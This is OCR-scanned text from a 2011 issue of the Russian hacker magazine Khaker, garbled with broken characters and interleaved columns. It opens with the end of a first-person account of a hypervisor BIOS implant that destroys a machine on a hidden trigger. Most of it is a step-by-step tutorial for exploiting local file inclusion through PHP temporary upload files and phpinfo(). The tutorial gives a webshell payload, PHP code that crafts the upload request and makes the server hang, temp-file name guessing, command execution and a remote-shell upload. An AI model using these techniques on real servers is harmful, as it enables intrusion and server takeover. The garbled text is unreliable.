--------ИМЯ ТЕСТR-----------СРЕЛНЕ ВЗВЕiЕННОЕ ВРЕМЯ-------РЕЗУЛЬТАТ АНАЛИЗА--Когерентность таймеров 8273 Лрисутствие Гиперsиэора Команды MOV (CR0 .. Cr3) 14023 Лрuсутствие Гиnер~иэора Команды MOV (DR0 .. Dr7) 16191 Лрисутствие Гиnервиэора Команды RDMSR, WRMSR 15831 Лрисутствие Гиnервиэора Очистка буферов TLB 19046 Dрисутствие Гиnервиэора Команды виртуапиэацин 14502 Лрuсутствие Гиnереиэора Команды Ввода/Вывода 16593 Лрuсутствие Гиnервиэора Монотонность достуnа к OD 14436 Dрисутствие Гиnервиэора Монотоянасть достуnа к БИОС Достуn в Доступ в ВАМ Выnопиение прерываний

APIC NIC

Рис.

4. Время

16787

17898 13443

14055

Присутствие Лрисутствие Лрисутствие Присутствuе

Гиnервиэора Гиnервиэора rиnервиэора Гиnереиэора

выполнения системных команд на серийных платах

ХАКЕР

ои

www.epidemz.net

12/155/2011


Китайскиезакладки

руководство Центра защиты информации и спец­

В общем, результат первой встречи оставил

Сама команда для простоты реализации

связи ФСБ. Эта структура в составе ФСБ занимает­

неприятный осадок, и я в самом мрачном на­

была зашита в текстовый файл DОС-формата в

ся обеспечением информационной безопасности

строении ожидал развития событий. Месяца

тегах настройки.

в стране и регулирует деятельность государствен­

через полтора нас пригласили уже в сам Центр

ных и коммерческих организаций, которые имеют

защиты информации и спецсвязи, чтобы мы про­

отношение к защите информации . Она также

демонстрировали обнаруженную нами закладку.

регламентирует меры по защите информации для

На этот раз послушать нас собрались не

Когда все было готово, руководство фирмы опять вышло на ФСБ с предложением посмотреть работу нашей собственной закладки и убедиться в том, что технологии виртуализации представляют

гасструктур и коммерческих фирм, обрабатываю­

рядовые сотрудники, а руководители и ведущие

реальную угрозу. Но посмотреть на нашу закладку

щих секретную и конфиденциальную информацию.

специалисты [по крайней мере, так они предста­

в деле никто не захотел, с самого верха поступила

вились). Встреча превратилась в лекцию, меня

команда [я так и не узнал, чье именно зто было

держивала с Центром официальные контакты,

внимательно слушали практически три часа,

распоряжение) с нами больше не общаться.

чтобы сертифицировать и лицензировать свои

было видно , что они впервые слышат то, о чем я

коммерческие проекты, поэтому организовать

им рассказываю . Я перечислил новые уязвимо­

Фирма, в которой я в то время работал, под­

Главные борцы за информационную безопас­ ность не захотели нас слушать. Тогда, уже

встречу на уровне специалистов было достаточ­

сти платформы х86, показал закладку и расска­

практически ни на что не надеясь, фактически

но просто. Предполагалось, что эксперты Центра

зал, как ее детектировать, ответил на множество

для очистки совести, мы попытались донести

сообщат о своем мнении руководству, и если

вопросов. В конце нас поблагодарили, сказали,

информацию о проблеме до пользователей систем

после этого руководство сочтет нужным выслу­

что тему нужно развивать в рамках специальных

информационной безопасности. Мы связались

шать нас, то следующим этапом будет встреча на

НИР, и на этом мы и расстались.

с <<Газпромом>>, чтобы проинформировать спе­

более высоком уровне.

Встреча состоялась, я рассказал и показал

Эйфория улетучилась, когда по неофици­

циалистов компании о современных угрозах для

альным каналам до нас дошла информация, что

распределенных систем управления технологиче­

все, что удалось выяснить, затем продемон­

нам просто не захотели поверить. Однако это не

скими процессами . Удалось организовать встречу

стрировал наличие нелегальнаго программнога

охладило моего желания доказать свою правоту.

модуля на примерах плат из Канады и Китая.

Как мне тогда казалось, решение лежало на

с руководством службы корпоративной защиты и управления комплексными системами безопас­

Кстати, тогда я в первый раз услышал и профее­

поверхности: нужно было самому написать такой

сианальный термин << закладка>>, обозначающий

программный модуль закладки. Мне бы не уда­

подготовлена более наглядная версия закладки с

такой модуль . Когда разговор зашел про В М С. в

лось поместить закладку во флеш-память ВМС,

упрощенным командным интерфейсом. Закладка

глазах у коллег из Центра появилось непонима­

но в основной биос запихнуть ее я вполне мог. Я

активировалась после загрузки на компьютер

ние. Пришлось проводить ликбез. По ходу дела

решил оснастить гипервизор модулем собствен­

текстового файла, содержимое которого включало

выяснилось, что они даже не подозревали о

ной безопасности для маскировки в памяти и

два слова- <<Г азпром>> и << стоn>>,- располо­

существовании специального микропроцессора

на флеш-микросхеме, а также заблокировать за­

женных в произвольнам порядке. После этого

в южном мосте с выходом на сетевой адаптер и о

пись во флеш-микросхему, где будет размещен

компьютер умирал, но не сразу, а с задержкой в

наличии в блоке ВМС криптографического моду­

код закладки, после чего удалить ее получится

пять минут. Естественно, можно было сделать за­

ля, нарушающего российское законодательство.

только путем выпаивания биоса и его перепро­

держку и на сутки, но тогда мы бы не уложились во

В заключение мы совершенно неожиданно услышали , что эта модель угроз уже исследо­

граммирования на внешнем программаторе.

Оставалось только определиться со

ности этой корпорации. Специально для них была

время, отведенное для демонстрации . Сотрудники

<<Г азпрома>> посетовали на низкий уровень инфор­

вана, в их отношении применяется комплекс

<<зловредной» функцией, которую следовало

мационной безопасности и заявили, что это не их

мер противодействия, и вообще, нам закладки

выполнять гипервизору. Я вспомнил утвержде­

дело, поскольку они руководствуются требова­

не страшны, поскольку наши системы не имеют

ние одного из специалистов ФСБ о том, что им

ниями и правилами, которые устанавливает ФСБ.

выхода в интернет.

не страшны закладки, поскольку их системы

Круг замкнулся, стало понятно, что эту монолитную

отключены от глобальной Сети. Но информация

систему <<информационной безответственности >>

Дальнейшие расспросы ни к чему не при­ вели , все упиралось в секретность, типа, мы

из внешнего мира как-то должна попадать в эти

не пробить.

умные и суперграмотные, а вам ни о чем знать

защищенные локальные сети, хотя бы через

За три с лишним года, которые прошли с тех пор,

не положено. Однако я сильно сомневался в их

одноразовые оптические диски . Таким образом,

я ни разу не слышал, чтобы кто-нибудь говорил

технической грамотности, поскольку они просто

я пришел к очевидному выводу и решил ана­

об аппаратуре виртуализации как об инструменте

не поняли большую часть того, что я рассказал

лизировать входящий информационный поток

проникновения в целевые системы . Парадокс?

и показал. Расстались на том, что они доложат

в закладке средствами гипердрайвера, чтобы

Не думаю. Специфика темы в том, что мы узнаем

своему начальству, а уж оно примет решение о

реализовать, так сказать, оружие судного дня,

только о провальных технологиях . О технологиях,

дальнейших действиях.

то есть использовать закладку для уничтожения

которые не обнаружены, мы не знаем, а их авторы,

вычислительной системы по внешней команде,

конечно, молчат.

Чуть позже я узнал, что это за <<секретный метод>> обнаружения программ хоста. При-

передавая ее через входной информационный

чем узнал совершенно случайно, во время

поток, стеганографически.

Нужно учитывать, что надежное размещение закладок в б и осе возможно только в заводских

переговоров на фирме- лицензиате Центра,

Просканировать информационный поток

уполномоченной проверятьбиосназакладки .

скрытно, без потери быстродействия, по зубам

придется ориентироваться на определенную

Технические специалисты этой фирмы, прово­

только аппаратуре виртуализации. В какой точке

модель материнской платы, а такие варианты

дящие исследования биоса, рассказали, что его

сканировать, тоже понятно: на буферах ввода/

не слишком интересны хакерам. Им нужна

программные модули, использующие аппара­

вывода дисковых систем и сетевого адаптера.

массовость, они работают, что называется, <<по

туру виртуализации, надо искать по сигнатурам

Сканирование буферов ввода/вывода- плевая

площадям>> . Однако существуют и те, кто атакует

команд виртуализации.

задача для аппаратуры виртуализации.

прицельно, <<По-снайперски>>. Технологии раз­

Действительно, команды процессара для

Сказано- сделаноl Такой гипердрайвер

мещения закладок в биосе, да еще и с актива­

аппаратуры виртуализации содержат три-четыре

размером около

байта и в программнам коде, но кто сказал, что

материнской платы и оснащен функцией защиты

зволяет эффективно скрыть их,- это, конечно,

этот программный код они обнаружат в неза­

от обнаружения. Он блокировал попытки его

удобный инструмент для таких <<снайперов >>.

шифрованном виде на флеш-микросхеме? Как

перезаписи при обновлении биоса и выпол-

они отсканируют этот код в оперативной памяти,

нял единственную функцию: обнулял флеш­

тически случайно. Думаю, сейчас этого сделать

если эти области памяти защищены аппаратно

микросхему биоса при поступлении команды на

уже не удастся, да и ловить, как ты, наверное,

от просмотра?

уничтожение.

понял, некому. :Х:

ХАКЕР

20

Кб был прописан в биос

условиях. В условиях эксплуатации для этого

12/155/2011

цией аппаратуры виртуализации, которая по­

Один раз их почти поймали, причем прак­

035

www.epidemz.net


COVERSTORY

poma lpomawkelagmail .co,;,l

юки • с

IП О

Сов сем недавно в паблике появ и лась и н формация о новом интересном подходе к эксплуа­

тации уя з вимасте й класса

ПРОВОДИМ

LFI

с

помощью бесполезной на пер ­

LFI-ATAKY ЧЕРЕЗ

вый взгляд функции phpinfo[) и

ВРЕМЕННЫЕ ФАЙЛЫ И ИНФОР­

врем е нных загрузочн ы х фа й лов .

Берем на вооружение этот по­

МАЦИОННУЮ ФУНКЦИЮ РНР

лезный прием .

МОТИВАЦИЯ П одоз р еваю, ч то у т ебя час то возникает си туаци я , ко гда т ы наход ишь уяз в имость ти п а

local lile i п clude,

но не имее ш ь досту па к фай л ам лого в ,

сессий и т. п . Или д осту п ес т ь, н о за п иса т ь в фай лы н ич его н е п о л учается. И л и т ы уже д аже наход ишься в админке сайта, но залить ничего и никуда

• J!hi!,.ng! официальный с а й т

РНР;

iу/пеуqад ­ немного об LFI; • bjЦy/ccFHcY ­ phpinfoll в рунете; • Ьit.ly/omkMVP ­ LFI через phpinfoll на RDot; • Ьit.ly/YP9LE ­

• bjt

BWMeter; • bjЦy/eS4GxW Procmon.

не можешь, потому что кодеры не добавили функционал менеджера фай­ лов. А ведь уда л ен н ый пользователь не может эксплуатировать уязви­ мость типа

LFI, пока

не вне д рит нужный вре доносн ы й код в любой файл на

сервере. В итоге ты забиваешь на обнаружен н ый ба г и в послед ствии даже не пытаешься е го эксплуатировать. Так же ве дут себя и а д мины уязви­

мых веб-серверов: ба г есть, но это же всего-навсего Вроде б ы

php.ini

local lile inclusion ...

настроен более-менее грамотно, так что чего бояться ?

Оказывается, ч то бояться все-таки стоит, и еще как! Сегодня я познаком­ лю тебя с самым красивым способом проведения LFI -a т aк и на д еюсь, что эта статья мотивирует админов н а устра н е н ие о п исываем ы х у я звимостей,

а тес т е р ов - на их обнаруже н ие и экс n луатацию.

ПРЕДПОСЫЛКИ ПОЯВЛЕНИЯ НОВОГО СПОСОБА Д о сих пор в хакереком сообщест ве были извест н ы с л едующие способы Вся информация предоставлена

заливкишел л ачерез

LFI: 1. Через медиафайлы [фото, видео, документы и т. д.l. Д ля реализации

исключительно в

этого способатребуется доступ к странице загрузки файлов [ в озможно, админке или менеджеру файлов!.

ознакомительны х

целях . Ни реда к ция, ни автор не несут ответственности за

2. Через файлы логов 1/apache/logs/eггoг.log, /vaг/log/access_log, /ргос/ self/enviгon, /pгoc/self/cmdline, /pгoc/sell/ld/X и многие д ругие!. Здесь

любой возможный вред , причиненный

стои т учесть, ч т о чем больше размер логов, тем труд нее произвести

в результате

успешную а таку. В н екоторых случаях РН Р должен быт ь заnущен в ре­

использования

материалов данной

ж и ме со в мес т имости с

статьи .

ф ай л о в ая с и с тема /р г ос, дл я д осту п а к кото р ой н е обх оди мы соо тв ет­

CG I или же долж н а су щ ест в оват ь в иртуаль н ая

ст в ую щ ие пр а в а.

забывают удалить

На нашем диске ты найдешь

с сервера примерно

ИС Х ОДНИКИ все х

10% админов .

рабочих примеров

С крипт с phpiпfoll

3. Через nсевдо n ротоколы [data:, php://input, php://fi l te гl, требующие н ал и чи я директивы allow_uгl_include=On [nоумолчанию - 0111 и версии РН Р>= 5.2. 4. Ч ерез файлы сессий 1/tmp/sess_*./vaг/liЬ/php/session/1. Естественно, атакующий должен иметь возможностьзаписыватьсвои дан ны е в сессию .

5.

Ч ерез мыло . П ри этом в уязвимой СМSдолжна присутст в овать возмож­

из статьи на язык а х

ностьо т правки nисем отwww-юзера, а также иметься д оступнаядля

PERLи РНР, а также подробны й

чтения директория с отправленными мейлами [к п римеру./vаг/sрооl/

видеоурок по теме .

maill .

ХАКЕР

036

www.epidemz.net

12/155/2 011


Трюки с

П р име р успешной заливки и обн а ру жения шелл а в t m р-файле

Выполнение про из в ольног а РНР- код а ч е р ез под ключени е t m р - фа йла

Теперь мы можем пополнить этот небольшой список новым спо­ собом, который заключается в эксплуатации

LFI

через временные

ИНФОРМАЦИЯ ИЗ PHPINFO() Далее нам nонадобится любой скриnт с выводом

phpinfo[J. С nомощью php.ini и

файлы (/tm p/php*, C:\tmp\php*l . Успешное выполнение/воспроизве­

него мы узнаем конфигурацию сервера, некоторые nараметры

дение атаки с помощью нового способа возможно при следующих

убедимся, что сервер уязвим для оnисываемой атаки.

В данн ом случае нам нужны следующие nара метры:

условиях:

о

имеется доступ к LFI-уязвимости;

о

имеется доступ к информации

о

1.

версия РНР>

upload _tmp_diг-вpeмeннaя папка, в которой РНРсохраняетвре­

менные файлы . Если она пустая (NULLI, то файлы будутзаливаться в

phpinfo(l; веб-сервер крутится nод Windows (однако зто необязательное условие!;

о

ph pinfo

Enviгonmen t.ТEMP.

2.

file_uploads-зтa опция разрешаетотправлятьфайлы и временно

nомещать их в upload_tmp_diг !для усnешной атаки оnциядолжна

5.2.0.

находиться в состоянии Onl. Примерный алгоритм nроведения данной атаки выглядит

З.

следующим образом (не пугайся, если что-то не будет ясно сразу,­

дальше я все подробно объясню!: 1. Отправляем файл с РНР-кодом на рhр-скриnтс phpinfo[J, РНР со­ храняет его в временную (tmpl папку.

2. С помощью всетой же функции phpinfo[J узнаем место хранения и seed !своего рода идентификатор! отправленного файла. З.

upload_max_filesize-мaкcимaльный объем загружаемых файлов.

Он не должен бытьслишком маленьким (минимальный составляет

10 Кбl, nо умолчаниюуказан объем 2 Мб . 4.

max_e xecu tion_time-мaкcимaльнoe время выnолнения скрипта .

По дефолту стоит О, это значит, что с крипт будет выnолняться до тех

пор, nока не выполнится .

5.

:-1

session.seгialize_handleг - cepиaлизaтop сессий. По дефолту-рhр

(это часть имени будущего временного файла!.

Затем отправляем еще один специально сформированный пакет

(например, снеправильным заголовком Content-Lengthl, вызывая Еще одна полезность заключается в том, что phpinfo[J отображает в

темсамымзависаниесерверананесколькосекундилидажеминуL

4.

Быстро инклудим свежезалитый tmр-файл через

шаnке версию РНР, наnример РНР Veгsion

LFI.

5.3.8.

ЛОКАЛЬНЫ Й ИНКЛУД

РНР И $_FILES

Для реализации атаки нам обязательно нужен рабочий локальный

Поэтапно nроцесс отправки файлов выглядит nримерно так (согласно

инклуд . Без него никак не обойтись. Пример того, что нам надо:

RFC1867I: 1. Послеустановки соединения начинается передача данных. 2. После nолучения заголовков веб-сервер подгружает движок РНР.

http://site.com/css.php?file=style.css http:J/site.com/css.php?file= .. / . . /( • . )/etc/passwd Собственно, код абстрактного уязвимого с крипта

css.php:

З.

РНРсоздаетвременный tmр-файл и наnолняетего данными.

4. 6. 7.

Передачаданныхзаканчивается. Исполняется РНР-кодскрипта .

РНРотnравляетвыводскриnта веб-серверу.

<?php 1J { .. } идет какая-то п римитивная проверка, 11 { .. }которая часто легко обходится if (!isset($_GET[ 'file' ]) OR !file_exists( './tpl/default/' .$_GET[ 'file' ] )) die( ' 4e4 Not Found' );

8. РНР делаетс l еаnuр (удаляет временные файлы! и завершает работу. 9. Веб-серверотсылает выводекриnта юз еру, отправившемуфайлы.

/1 { .. }возможно, nроводятся / 1 локальный и нклуд файла

$_FILES, а затем коnировать их из временной nаnки в любое другое место с помощью функции move_uploaded_file[J. Здесь важно то,

На этапах

3, 4, 5, 6, 7 временный tmр-файл еще существует, а 8 удаляется. Л юбой РНР-скриnт

на оnре д еленной стадии этапа

может работать с загружаемыми файлами через глобальный массив

еще какие-то nроверки

что Р Н Р всегда коnирует любые заливаемые файлы во временную

include './tpl/default/' .$_GET[ 'file' ];

?>

nапку, указанную в конфиге, даже если скрипт с ними работать не

собирается. Когда с крипт завершает свое выnолнение, РНР удаляет Чтобы узнать nуть к папке, где хранятся временные файлы, можно

все ранее созданные временные файлы, то есть делает

cleanup.

попробовать nодключить другой файл, который обязательно должен

Так как мы можем посылать с крипту абсолютно любые файлы, то,

иметься на сервере. Примеры для

соответственно, во временном файле будет записан именно тот код,

*nix и Windows:

который и nонадобится нам для локального инклуда. Кстати, если

http: 1/si te. com/css. php?file= .. 1 .. 1 . .} .. 1 . . /etc/passwd ht tp://site.com/css.php?fil e= .. / . . / . . / . . / .. /tmp/ http://site.com/css.php?file= .. / .. / .. / .. / .. \Windows\Temp\

ХАК Е Р

в РНР-скриnте используется буферизация вывода (функции оЬ_* ­ ob_staгt,

ob_flush и другие!, то действия, описанные в nунктах 8 и 9,

выnолняются в обратном порядке. В таком случае вnолне возможно

037

12/155/2011

www.epidemz.net


· COVER STORY DOS

НА БАЗЕ

LFI + PHPINFO[]

ЧТО ЕЩЕ МОЖНО ВЫЖАТЬ ИЗ

PHPINFO[] Когда мы отправляли данные в

_FILES,

они записывались в файл,

Результатом выnолнения РНР-функции

занимая место на диске. При этом мы отправляли всего пару килобайт.

phpinfo(l

является куча

А что будет, если отправить много-много мегабайт? И сразу много

информации, большая часть которой не имеет значения. Однако на

файлов? Это может привести к серьезным проблемам в работе сервера.

некоторые моменты все же стоит обратить внимание, так как они

Атакующий способе н исчерпать его ди сковое пространство. Допустим ,

могут облегчить процесс поиска уязвимых мест в системе.

что по умолчанию каждый бот абстрактного ботнета может на каждом подключении занимать до

30

Мб дискового пространства в течение всего

времени, пока посылается запрос, загружается файл и принимается ответ. Время отсылки и приема может быть умышленно растянуто, чтобы

Итак, nеречислим nотенциально полезную информацию ,

предоставляемую

максимально долго использовать свободное место. По времени одно

подключение в среднем длится примерно две минуты (одна минута на запрос+ одна минута на ответ) . Даже малочисленный ботнет с пособен эффективно подавлять сервер с минимальным количеством и скоростью

скрипт;

3. еггог_lоg -лаги ошибок [можно задействовать при LFI); 4. safe_mode [default OFF)- безо пасный режим; 5. open_basediг [default еmрtу)-ограничивает список файлов, которые могут быть открыты через РНР;

подключений. Более того, как раз медленный канал бота будет куда более

губительным для атакуемого сервера. Выводы делай сам . В настоящий

6. allow_uгl_fopeп [default ON)- разрешает доступ к URL на уровне файлов;

момент единственный способ противостоять такой ОоS-атаке- отключить директиву

file_upload

в

7.

php.ini.

phpinfoll:

1. информация о сервере, версия/конфигурация РНР, ОС; 2. dосumеnt_гооt-директория, из которой выполняетсятекущий

В.

allow_uгl_include

[default OFF) -удаленное подключение файлов; magic_quotes_gpc [default OFF) -автоматическое экранирование входящих данных;

написать эксплойт, который на низком уровне будет саботировать получение последнего па кета с данными. То есть сначала он по­

лучит содержимое phpinfo(], затем спарсит с помощью вывода этой функции путь к tmр-файлу и, не дожидаясь конца ответа от сервера , проинклудит его через

LFI

быстрее, чем РНР сделает cleaпup . Если

же буферизации вывода нет, то мы не успеем подключить времен­ ный файл, он уже будет удален . Но что если попробовать сделать так, чтобы РНР не удалял временный файл?

9. гegisteг_globals [default OFF)- глобальные переменные; 10. disaЫe_functions [default empty) -отключает использование определенных функций;

11. max_execution_time [default 0)- максимальное время работы скрипта;

12. display_eггoгs [default OFF) -отображение ошибок; 13. upload_tmp_diг-пyть к tmр-директории. 14. подключенные модули [cuгl, sockets, zip и т. д.); 15. содержимое всех глобальных переменных: _G ET, _POST, _COOKI E,

АЛГОРИТМ ОБМАНА РНР

FILES, _SERV ER.

Итак, суть нового способа заключается в подключении через

LFI

временного файла, создаваемого РНР. << Но РНР ведь удаляет

временный файл!>>- наверное, скажешь ты. Да, верно. Пока неиз­ вестно, как сделать так, чтобы этого не происходило. Но зато вполне

известно, как продлить этому файлу жизнь.

:1 Для этого нужно сфор­

мировать специальный пакет со следующими свойствами :

1.

отображает все передаваемые пользователем глобальные пере­

менные: _GET, _POST и _FILES. Старые версии РНР [<=5.1) в phpiпfo[) не раскрывают содержимое массива

_FILES, просто указывая тип

Coпteпt-Leпgth должен быть неверным [на несколько Кб больше

Аггау. В этом случае придется подбирать [брутить) имя временного

или меньше реального);

файла.

Чтобы проверить, раскрывает ли phpinfo[) нужный нам массив, ты

за головок данных не должен закрываться [например,

«------------BWvJ NM»l.

можешь отправить файл вручную через простую НТМL-форму, а затем

Таким образом, мы получим следующую ситуацию:

проверить раздел РНР VaгiaЫes:

Пакетобрывается.

2. Сокетждетнедостающиеданные [в это время соединение открыто). 3. Сокетотваливается, полученный временный файл существуетеще некоторое время.

При этом размер временного файла должен быть больше

2 Кб,

<form action= "http: // site . com/ phpinfo.php" method= " POST" > <input type= "file" name= "aa" /> <input type= "submit" /> </form>

enctype= "mu~tipart/ form - data"

иначе РНР просто не начнет писать данные в соответствующую дирек­

торию. Как ты уже, надеюсь, понял, сервер «зависнет» на достаточно

Самый элементарный способ такой проверки- выполнить

долгое время, которого должно хватить для того, чтобы проинклудить временный файл и залить с его помощью долгожданный ш е лл .

простой GЕТ-запрос к соответствующему скрипту: http://site.com/ phpiпfo.php?a[]=111 . РНР должен отобразить содержимое мас-

В ПОИСКАХ ТМР·ФАЙЛА

сива _FIL ES или _GET [аналогично тому, как это происходит nри выполнении функции vaг_dump). Если массив раскрыт, значит, ты

Следующая проблема состоит в том, что нам неизвестно имя

сможешь без проблем узнать имя tmр-файла. За путь к tmр-папке

временного файла. Как раз для ее решения нам и нужен скрипт с

отвечает параметр upload_tmp_diг в

phpinfo[l внутри . Если не удается найти его вручн ую по дефолтным именам [phpiпfo.php, info.php, i.php и т. д.), тогда можно воспользо­ ваться скриптам и от Gгеу и elwaux для автоматического поиска

системах

[ищи их на нашем ди ске). Предп оложим, что мы нашли нужный нам скрипт. Идем дальше . В разделе РНР VaгiaЫes функция phpiпfo[)

php.ini. По дефопту путь в *niх­ -/tmp, в винде- C:\Windows\Temp. В 99% случаев у РНР

есть право чтения файлов оттуда . Согласно документации [.tilljyL гaWpwS), в Windows имя временного файла, который РНР рандамно генерирует с помощью функции GetТempFileName, должно иметь вот такой вид:

ХАКЕР

038

www.epidemz.net

12/155/2011


Трюки с

В!

phpinfo

Administrator: C:\Windows\ System32\cmd.exe t ~ J { l

tll ,,

J

'

'

'1'

1

t

11

'

1

1, t f

1 '

'

•'

-

~

;

'

'

'

'

'

•:

J 1

-

~

\

l \.'

')

1'

i

'~

'

j

1 1 '1

! 1'

1

~

;

1;

"- ..,_

1 - 1:1'' '.

Заливка постоянного wелла через временный

менный файл сущес твуеттоль ко (1) во время выполнения скрипта.

<path >\<pre ><UUUU> .TMP

СЦЕНАРИЙ АТАКИ В WINDOWS Если ты усвоил все написанное выше, предлагаю тебе рассм отреть

<path > = C:\Windows\Temp (или значение upload_tmp_dir с php.ini), <pre> = php (sessioп.ser.ialize_handler), <uuuu> = уникальное шестнадцатеричное число.

общий алгоритм на шей атаки для винды:

1. Переда емлюбой файл на phpinfo[) . Пол учаем ответ от сервера, в phpinfo[) смотрим значение

2.

_F ILE S[tmp_пame] и таким образомуз наем путь квременномуфайлу. Интер есно, что в

Windows

каждое последующее

<uuuu> больше

З. Отправляем на phpinfo[) запрос с кодом шелл а

предыдущего ровно на единицу, например:

<?php assert(stripslashes($_REQUEST[ "e " ])); ?>

phplAЗE.tmp phplAЗF.tmp php;t.A4~.tmp

и запросом, в котором размер Coпteпt-Leпgth превышает реальный В

*nix имя для временного файла генерируется mkstemp [linux.die.net/man/3/mkstemp):

с помощью функции

размер запроса. В результа те сервер должен на некоторое время за­ виснуть.

4.

П ока сервер виситидумаета жизни, мы пытаемся найти временный

файл, добавляя к пол ученному имени !см. шаг 1) единицу [поиск

<path>/<pre><rand> <path> = / tmp,_ <pre> = php (session.seria1ize_handler), <rand> =. (seed += ххх л PID).

осуществляется посредств ом подстановки nути к файлу в LFI).

5.

Кактолько нам удается обнаружить tmр-файл, заливаем полноцен­

6.

Закрываем соединение из 2-го шага, серверудаляетвременный файл.

ный шел л с помощью нашего ядовитого кода.

ХХХ. в зависимости от скомпилированной библиотеки

glibc

может

равняться:

-

ХХХ

-

ххх

ХХХ

t_ime () gettimeofday().sec << 32 rdtsc

1

Таким образом, при наличии phpinfo[) в win-cepвaкe заливка шелла сводится к отправке дву х файлов . Если phpiпfo[) отсутствует, имя

gettimeofday().usec

временного файла можно теоретически сбрутить. Всего на cepвepe будет около

То есть имя, которое всегда будет случайным и непредсказуемым,

должно иметь следующий вид :

/tmp/phpXXXXXX, где ХХХХХХ- это [A-Za-z0-9]:

рандомные шесть символов из диапазона

61440

Windows-

возможных вариантов.

СЦЕНАРИЙ АТАКИ В НИКСАХ Сценарий атаки для *niх-систем будет выглядеть примерно так:

1. Отправляем на скриптс phpinfo[) НТТР-пакетсядовитым РНР-кодом в файле.

/tmp.fphp6Dekf9... 2.

/tmpjphpKlщ.JkS

Ограничиваятрафикзасчетиспользованияпрокси-сервераилис

помощью какой-либоутилиты [например, BWMeteг), урезаемлимит

/tmp.fphpdnJ82P

на прием входящихданныхдо несколькихдесятков байт. Как видно из примеров выше, по сравнению с

*nix

в

Windows

проще узнать имя временного файла . Также стоит отметить, что в ре-

3. Ждем, когда скриптвозвратитнам выводрhрinfо[). 4. Самое главное! Параметр [tmp_name] выводится где-то в послед­ них строчках [а кактолько сокетзакроется, временный файл будет

... J Отnравка

удален), поэтому мы должны сграбить/скопипастить имя и отправить

файлов 1

. .··<. ·Jnодгружается РНР

его на инклуд немедленно

. ····<. ··/ .· РНР создает tшр-файлы t. ·. t···

~:;.·:._: ,:: _: :.~ :1 ~:~~~i.~~~~f~~:~

! ! l

!' {

l.~~~P..:!I?::'.~!?.i существует

Как работает РНР, когда юз ер отправляет файл

ХАКЕР

.

1

Однако если после вызова

1

phpinfo[) идет еще какой-то код, то

чем дольше этот код выполняется, тем больше у нас шансов успеть получить имя временного файла до его автоматического удаления .

Мы можем лакальна подключить

<- ""'

phpinfo.php

через имеющийся

инклуд , а так как после инклуда есть еще код, то мы получаем

бонусноевремя задержки, которого при удачном раскладе вполне может хватить:

http: 1/site. com/css. php?file= .../.. /lltdocs/puЬlic_html/ phpinfo.php Отправив на такой

URL РОSТ-nакет с

файлом, содержащим РНР-

039

12/155/2011

www.epidemz.net


·COVER STORY код, построчно считываем ответ. Получив имя временного файла, тянем время, не разрывая коннект, и параллельна инклудим загру­

$tmp = str_replace( array ( "=> " , ' ' ),

$r[ e]( 2]);

}

женный временный файл с РНР-кодом.

Кстати, в случае если скрипт с phpiпfoll недоступен , нам придется

socket_close($sock);

уга дать или пробрутить имя временного файла. Поскольку нужно будет перебрать 1000000*36 вариантов, процесс поиска затянется надолго.

ПРАКТИКА Теперь настало время перейти к практике. Итак, пусть на нашем

тестовом серваке стоя т Micгosoft-IIS/7. 5 и РНР/5.3.8 . Возьмем с одного реального Wiпdows-cepвepa файл

В переменной $html мы получаем ответ от phpiпfo, а в $tmp- путь к tmр-файлу. Далее достаем из пути значение

·

css.php с уязвимостью типа LFI:

<?php $file = './uploads/' .$_GET[ 'f' ]; i f ( file_exists($file) ) { include $file; die ; } die ( 'File not found! ' ); ?>

<uuuu>:

$tmp_hex = $tmp; if(strpos($tmp_hex, ': ' )) { $path = explode( ' : ' ,$tmp_hex); $tmp_hex = $path[ 1]; } $tmp_hex = ($tmp_hex && preg_match(' #php(. *)\. tmp#' ,$tmp_hex,$rd)) ? $rd[1] : '' ; В $tmp_hex будет содержаться текущий seed временного файла. Следую щи й этап- вызвать зависание сервера. Для этого обре­ заем тело запроса на два символа. В результате заголовок Content-

Length станет неверным !будет больше, чем нужно! : На этом же сервере админ забыл удалить нужный нам файл

phpinfo.php:

$req = substr($req,e,strlen($req)-2); retname($host,$req);

<? php _ phpinfo(); ?>

Отправляем все это неnотребство и пробуем получить ответ. Хотя ответ мы вряд ли получим, скриnт останавливать не нужно.

Далее к $tmp_hex прибавляем +1 и пробуем подключить получив­ Код, который мы будем внедрять в tmр-файл:

шийся файл через

LFI. Не получается? Возможно, ты наткнулся

на подводный камень. Имягенерит винда, а не РНР, поэтому, если какая-нибудь запущенная на сервере прога хочет создать

<? php assert(stripslashes($_REQUEST[ "e" ])); ?>

временный файл, она также прибавляет е диниц у в каждом имени. В целом это не проблема. Просто надо попробовать прибавить

+2,

+3 и т. д. На диске, прилагаемом к журналу, ты найдешь специ­ С помощью РНР-сценария формируем РОSТ-пакет для отправки файла с РНР- кодом:

альный скрипт, который сам пробует найти tmр-файл, постепенно прибавляя числа от

// Evil $file= "-----------------------------XaXbXaXbXaXbXa\r\n" ; $file . ="Content-Disposition: form-data; name=file" .rand(e, 100)." ; filename=\r\nfile" . rand(e, 100). ". txt\r\n" ; $file.= "Content-Type: text/plain\r\n\r\n" ; $file.= "<?php assert(stripslashes(\$_REQUEST[\"e\"]));?>\r\n" ; $fi:J,e.= "------------------------ - ----XaXbXaXbXaXbXa\r\n" ; $post = $file; $req ="POST " .$target. " НТТР/1.8\r\п " ; $req.= "Host: " .$host. "\r\n" ; $req.= "Content-Type: multipart/form-data; boundary=---------------------------XaXbXaXbXaXbXa\r\n"~

$req. ="Content-Length: _" . strlen($post). "\r\n" ; $req.= "Connection: Close\r\n\r\n" ; $req.= $post;

1 до 100.

ПОСЛЕЗАЛИВКИ После обнаружения нужного файла и его успешного инклуда через

LFI ты можешь выполнять команды на сервере. У тебя есть мини-шелл: ttp://site.com/css.php?file= .. / .. / .. /tmp/ php7xEkHЗ&e=system( 'dir') Для заливки полноценногошеллап утем копирования с другого ресурса ты можешь воспользоваться следующей командой:

php expl.php step4 .. / .. / .. /tmp/p hp7 xEk HЗ.tmp http://site.com/s.txt here your shell : http:/ /site.com/8149. php Здесь скрипт expl.php- это конкретный пример реализации опи­

И отправляем его вот так:

санной атаки, который также можно найти на нашем диске.

$tmp = '' ; $html = '' ; $sock = socket_create(AF_INET, SOCK_STREAМ, SOL_TCP); socket_connect($sock, $host, ве ); socket_write($sock, $req); while ($out = socket_read($sock, 65536 )) { $html .= $out; if(preg_match_all( '#=> (. *)#' ,$html,$r) && ! empty($r[ e][ 2])) {

ПОДВЕДЕНИЕ ИТОГОВ Теоретически описанный способ атаки подходит для большого количества движков, имеющих в наличии локальный инклуд и

